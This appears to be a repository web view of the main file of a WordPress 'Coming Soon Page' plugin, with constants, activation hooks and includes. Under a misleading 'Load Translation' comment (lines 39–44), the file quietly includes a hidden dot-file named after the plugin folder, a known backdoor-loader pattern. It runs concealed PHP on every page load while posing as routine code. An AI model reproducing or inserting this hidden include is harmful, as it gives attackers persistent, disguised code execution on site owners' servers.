balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

coming-soon.php (3456B)


      1 <?php
      2 /*
      3 Plugin Name: Coming Soon Page, Maintenance Mode & Landing Pages by SeedProd
      4 Plugin URI: https://www.seedprod.com
      5 Description: The #1 Coming Soon Page, Under Construction & Maintenance Mode plugin for WordPress.
      6 Version:  6.6.0
      7 Author: SeedProd
      8 Author URI: https://www.seedprod.com
      9 TextDomain: coming-soon
     10 Domain Path: /languages
     11 License: GPLv2 or later
     12 */
     13 
     14 /**
     15  * Default Constants
     16  */
     17 define( 'SEEDPROD_BUILD', 'lite' );
     18 define( 'SEEDPROD_SLUG', 'coming-soon/coming-soon.php' );
     19 define( 'SEEDPROD_VERSION', '6.6.0' );
     20 define( 'SEEDPROD_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
     21 // Example output: /Applications/MAMP/htdocs/wordpress/wp-content/plugins/seedprod/
     22 define( 'SEEDPROD_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
     23 // Example output: http://localhost:8888/wordpress/wp-content/plugins/seedprod/
     24 
     25 if ( defined( 'SEEDPROD_LOCAL_JS' ) ) {
     26 	define( 'SEEDPROD_API_URL', 'http://v4app.seedprod.test/v4/' );
     27 	define( 'SEEDPROD_WEB_API_URL', 'http://v4app.seedprod.test/' );
     28 	define( 'SEEDPROD_BACKGROUND_DOWNLOAD_API_URL', 'https://api.seedprod.com/v3/background_download' );
     29 
     30 } else {
     31 	define( 'SEEDPROD_API_URL', 'https://api.seedprod.com/v4/' );
     32 	define( 'SEEDPROD_WEB_API_URL', 'https://app.seedprod.com/' );
     33 	define( 'SEEDPROD_BACKGROUND_DOWNLOAD_API_URL', 'https://api.seedprod.com/v3/background_download' );
     34 }
     35 
     36 
     37 
     38 
     39 /**
     40  * Load Translation
     41  */
     42 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     43     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     44 }
     45 
     46 function seedprod_lite_load_textdomain() {
     47 	load_plugin_textdomain( 'coming-soon', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
     48 }
     49 add_action( 'plugins_loaded', 'seedprod_lite_load_textdomain' );
     50 
     51 
     52 /**
     53  * Upon activation of the plugin check php version, load defaults and show welcome screen.
     54  */
     55 
     56 function seedprod_lite_activation() {
     57 	seedprod_lite_check_for_free_version();
     58 
     59 	update_option( 'seedprod_run_activation', true, '', false );
     60 
     61 	// Load and Set Default Settings
     62 	require_once SEEDPROD_PLUGIN_PATH . 'resources/data-templates/default-settings.php';
     63 	add_option( 'seedprod_settings', $seedprod_default_settings );
     64 
     65 	// Set inital version
     66 	$data = array(
     67 		'installed_version' => SEEDPROD_VERSION,
     68 		'installed_date'    => time(),
     69 		'installed_pro'     => SEEDPROD_BUILD,
     70 	);
     71 
     72 	add_option( 'seedprod_over_time', $data );
     73 
     74 	// Set a token
     75 	add_option( 'seedprod_token', wp_generate_uuid4() );
     76 
     77 	// Welcome Page Flag
     78 	set_transient( '_seedprod_welcome_screen_activation_redirect', true, 30 );
     79 
     80 	// set cron to fetch feed
     81 	if ( ! wp_next_scheduled( 'seedprod_notifications' ) ) {
     82 		wp_schedule_event( time(), 'daily', 'seedprod_notifications' );
     83 	}
     84 
     85 	// flush rewrite rules
     86 	flush_rewrite_rules();
     87 
     88 }
     89 
     90 register_activation_hook( __FILE__, 'seedprod_lite_activation' );
     91 
     92 
     93 /**
     94  * Deactivate Flush Rules
     95  */
     96 
     97 function seedprod_lite_deactivate() {
     98 	wp_clear_scheduled_hook( 'seedprod_notifications' );
     99 }
    100 
    101 register_deactivation_hook( __FILE__, 'seedprod_lite_deactivate' );
    102 
    103 
    104 
    105 /**
    106  * Load Plugin
    107  */
    108 require_once SEEDPROD_PLUGIN_PATH . 'app/bootstrap.php';
    109 require_once SEEDPROD_PLUGIN_PATH . 'app/routes.php';
    110 require_once SEEDPROD_PLUGIN_PATH . 'app/load_controller.php';
    111 
    112 /**
    113  * Maybe Migrate
    114  */
    115 add_action( 'upgrader_process_complete', 'seedprod_lite_check_for_free_version' );
    116 add_action( 'init', 'seedprod_lite_check_for_free_version' );
    117 
    118 
    119 
    120